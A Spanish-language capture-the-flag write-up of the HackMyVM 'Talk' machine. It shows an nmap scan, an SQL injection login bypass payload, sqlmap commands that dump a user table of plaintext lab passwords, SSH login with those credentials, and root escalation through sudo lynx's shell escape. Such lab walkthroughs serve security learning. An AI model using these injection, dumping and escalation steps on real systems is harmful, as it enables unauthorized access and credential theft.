// HackMyVM — CTF — Writeup

TALK

#linux #sqli #web #sudo
// 01

RECONOCIMIENTO — Escaneo de puertos

Se lanza un escaneo completo de puertos para mapear toda la superficie de ataque antes de pasar al análisis de servicios.

escaneo completo
nmap -p- -T5 <IP> -oG allPorts
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-10 11:44 +0200 Nmap scan report for 10.10.10.26 Host is up (0.0024s latency). Not shown: 65533 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http MAC Address: 08:00:27:B1:ED:BB (Oracle VirtualBox virtual NIC) Nmap done: 1 address (1 host up) scanned in 13.81 seconds
PUERTO ESTADO SERVICIO
22/tcpOPENssh
80/tcpOPENhttp
Superficie de ataque mínima
Solo dos puertos abiertos: SSH y una web. El vector de entrada está en la aplicación web — hay que enumerarla antes de intentar nada por SSH.
// 02

EXPLOTACIÓN — SQL Injection en el login

La web presenta un formulario de login simple. Se prueba directamente una inyección clásica de bypass de autenticación.

payload de bypass
User: ' OR 1=1-- - Pass: ' OR 1=1-- -
SQL Injection — Bypass de autenticación
El login es vulnerable a SQLi. La condición OR 1=1 siempre es verdadera, lo que hace que la consulta devuelva el primer usuario de la tabla: pao. El comentario -- - invalida el resto de la query original.

El bypass funciona e inicia sesión como pao. Para extraer toda la información de la base de datos, se captura la petición con Burpsuite y se pasa a sqlmap.

petición capturada con burpsuite (req.txt)
POST /login.php HTTP/1.1 Host: 10.10.10.26 Content-Type: application/x-www-form-urlencoded Cookie: PHPSESSID=kstgfe78o3pi49posrer6f9mb8 username=admin&password=admin
enumeración de bases de datos
sqlmap -r req.txt --batch --dbs
available databases [4]: [*] chat [*] information_schema [*] mysql [*] performance_schema
tablas de la base de datos chat
sqlmap -r req.txt --batch -D chat --tables
Database: chat [3 tables] +-----------+ | user | | chat | | chat_room | +-----------+
volcado de la tabla user
sqlmap -r req.txt --batch -D chat -T user --dump
USERID EMAIL PHONE PASSWORD USERNAME YOUR_NAME
1[email protected]09123123123paopaoPaoPao
2[email protected]1111myfriendtomnonanona
3[email protected]11111davidwhatpasstinatina
4[email protected]111thatsmynonapassjerryjerry
5[email protected]11adrianthebestdaviddavid
Credenciales en texto claro
Las contraseñas se almacenan en texto claro en la base de datos. Se obtienen cinco pares usuario:contraseña. Hay que probarlos contra SSH para ver cuál funciona.
// 03

ACCESO INICIAL — Shell como nona

Se prueban las credenciales obtenidas contra SSH. Las credenciales nona:thatsmynonapass dan acceso al sistema.

acceso SSH
[email protected]'s password: thatsmynonapass Linux talk 4.19.0-14-amd64 #1 SMP Debian 4.19.171-2 (2021-01-30) x86_64 nona@talk:~$
flag de usuario
ls -la && cat user.txt
USER FLAG cat ~/user.txt
// 04

ESCALADA A ROOT — sudo lynx

Se comprueba qué comandos puede ejecutar nona con privilegios de root.

comprobación de permisos sudo
sudo -l
User nona may run the following commands on talk: (ALL : ALL) NOPASSWD: /usr/bin/lynx
sudo NOPASSWD — /usr/bin/lynx
nona puede ejecutar el navegador de terminal lynx como root sin contraseña. Lynx permite lanzar un shell interactivo desde dentro de la aplicación usando el comando !, heredando los privilegios del proceso padre.

Se ejecuta lynx como root y, una vez dentro, se utiliza el comando ! para obtener una shell de root.

pasos para escalar
sudo /usr/bin/lynx # Una vez dentro de lynx: !
Spawning your default shell. Use 'exit' to return to Lynx. root@talk:/home/nona# whoami root
¿Por qué funciona?
Lynx tiene un mecanismo para ejecutar comandos de shell desde dentro de la aplicación. Al presionar !, lanza el shell por defecto del sistema. Dado que lynx se ha ejecutado con sudo, el proceso padre corre como root, y la shell hija hereda ese UID efectivo.
flag de root
cd /root && cat root.txt
ROOT FLAG cat /root/root.txt
// RESUMEN

CADENA DE ATAQUE

01
SQLi — Bypass de autenticación
Login vulnerable a inyección SQL clásica con ' OR 1=1-- - → acceso como primer usuario pao
02
sqlmap — Volcado de credenciales
Burpsuite captura la petición → sqlmap extrae la BD chat → tabla user con cinco pares usuario:contraseña en texto claro
03
SSH — Acceso como nona
Credenciales nona:thatsmynonapass dan acceso SSH → user.txt en el directorio personal
sudo lynx → Root
sudo -l revela (ALL) NOPASSWD: /usr/bin/lynxsudo /usr/bin/lynx! dentro de lynx → shell como root → root.txt